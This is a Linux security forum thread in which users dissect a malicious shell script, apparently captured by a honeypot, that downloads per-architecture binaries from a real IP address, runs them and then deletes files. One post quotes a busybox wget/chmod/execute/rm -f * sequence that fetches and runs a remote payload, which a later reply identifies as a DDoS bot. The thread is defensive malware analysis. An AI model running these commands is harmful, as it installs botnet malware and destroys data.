LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 05-02-2016, 02:14 AM   #1
haz12
LQ Newbie
 
Registered: May 2016
Posts: 3

Rep: Reputation: Disabled
solved.


Thanks

Last edited by haz12; 05-16-2016 at 01:11 AM.
 
Old 05-02-2016, 03:01 AM   #2
Turbocapitalist
LQ Guru
 
Registered: Apr 2005
Distribution: Linux Mint, Devuan, OpenBSD
Posts: 7,288
Blog Entries: 3

Rep: Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718
If you post it between the two [code] and [/code] tags, it will be readable here.
 
Old 05-02-2016, 08:40 AM   #3
Turbocapitalist
LQ Guru
 
Registered: Apr 2005
Distribution: Linux Mint, Devuan, OpenBSD
Posts: 7,288
Blog Entries: 3

Rep: Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718Reputation: 3718
Looking at one 'line' it can be made more readable by putting each program on a separate line of its own.

Code:
busybox wget wget http://80.82.64.190/sparc; 
busybox chmod +x sparc; 
./sparc; 
busybox rm -f sparc*
rm -f *
busybox is a small system in a single binary. It's used, among other places, during the installation of the OS. It includes a few tools compiled in. wget, chmod, and rm are three of them. It's interesting enough that I would recommend reading a little about it on the net.

The first line has an error. wget is there twice. But the result will be the same, wget will fetch over HTTP the file "sparc" from the address specified. My guess, without looking at it, is that it is a binary with some kind of rootkit specific to the sparc architecture. The file is then made executable and then an attempt is made to run it. No telling from the script what it does if it is successful. But after it fails or is finished, busybox removes it. Then a general erasure of all files in the current directory takes place.

Then it tries the next file and so on.

The address used to download is in the Seychelles and registered to Quasi Networks LTD if the whois database is correct. There is an abuse contact give, it might be worth it to e-mail them.
 
Old 05-02-2016, 10:07 AM   #4
pingu_penguin
Member
 
Registered: Aug 2004
Location: pune
Distribution: Slackware
Posts: 349

Rep: Reputation: 60
basically the script is downloading files for all different types of architectures.
Could be a script too but I cant say.

It first clears the tmp folder , removes ps and strings and

for each architecture it does the following :

1. it downloads them
2. makes it executable (chmod +x)
3. runs the file
4. removes traces by deleting the original file.

The second half does the same by copying the busybox binary into the current folder (probably thinking he doesnt have the busybox binary in his path - a guess here)

The third half does the same except it executes the downloaded files from the /tmp/<arch> binary and removes traces again - since the /tmp directory is world writable.
 
Old 05-02-2016, 10:18 AM   #5
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
I judge the code/script be attempting to secure their hold on the system.
 
Old 05-02-2016, 10:27 AM   #6
pingu_penguin
Member
 
Registered: Aug 2004
Location: pune
Distribution: Slackware
Posts: 349

Rep: Reputation: 60
lol that site is still alive , its downloading a bin file for all architectures.

I just tried http http://80.82.64.190 in firefox ^.^ to see a Apache test page.
 
Old 05-02-2016, 10:35 AM   #7
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
because where there is one...
Code:
sudo iptables -I INPUT -s 80.82.64.0/24 -j REJECT --reject-with icmp-host-unreachable
I'm too paranoid for honeypots.

Last edited by Habitual; 05-02-2016 at 10:36 AM.
 
Old 05-02-2016, 11:19 AM   #8
rtmistler
Moderator
 
Registered: Mar 2011
Location: USA
Distribution: MINT Debian, Angstrom, SUSE, Ubuntu, Debian
Posts: 9,879
Blog Entries: 13

Rep: Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930Reputation: 4930
I agree with Habitual. All those chmod and rm -rf statements, sandwiched around running the downloaded file.

I would avoid that script. And the term "honeypot" whatever it really means, slang or no, sounds dirty from the get-go.
 
Old 05-02-2016, 11:34 AM   #9
Ihatewindows522
Member
 
Registered: Oct 2014
Location: Fort Wayne
Distribution: Ubuntu 16.04 LTS
Posts: 616
Blog Entries: 2

Rep: Reputation: 166Reputation: 166
Well, here's where your script is coming from:
https://www.google.com/maps/place/Vi...e3e07e7e6c3cde

Found that by a whois report. Also here's the nmap report.
https://drive.google.com/open?id=0B6...zZEUXoxX0xWVWc

Downloaded one of the binaries, the one called "x86"...
https://www.virustotal.com/en/file/6...is/1462206823/
Looks like a DDOS bot.

Last edited by Ihatewindows522; 05-02-2016 at 11:46 AM. Reason: Can't attach a zip...
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
LXer: Honeypot Tutorials : Modes and Working of Honeypot LXer Syndicated Linux News 0 07-08-2013 05:20 AM
[SOLVED] Explain me the meaning of this line in shell script antriksh Linux - Newbie 1 01-05-2013 12:44 PM
help to explain the shell code ! nillgump Linux From Scratch 1 10-11-2008 11:09 AM
explain honeypot and tarpit? servnov Linux - Networking 3 09-30-2004 07:53 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 10:02 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration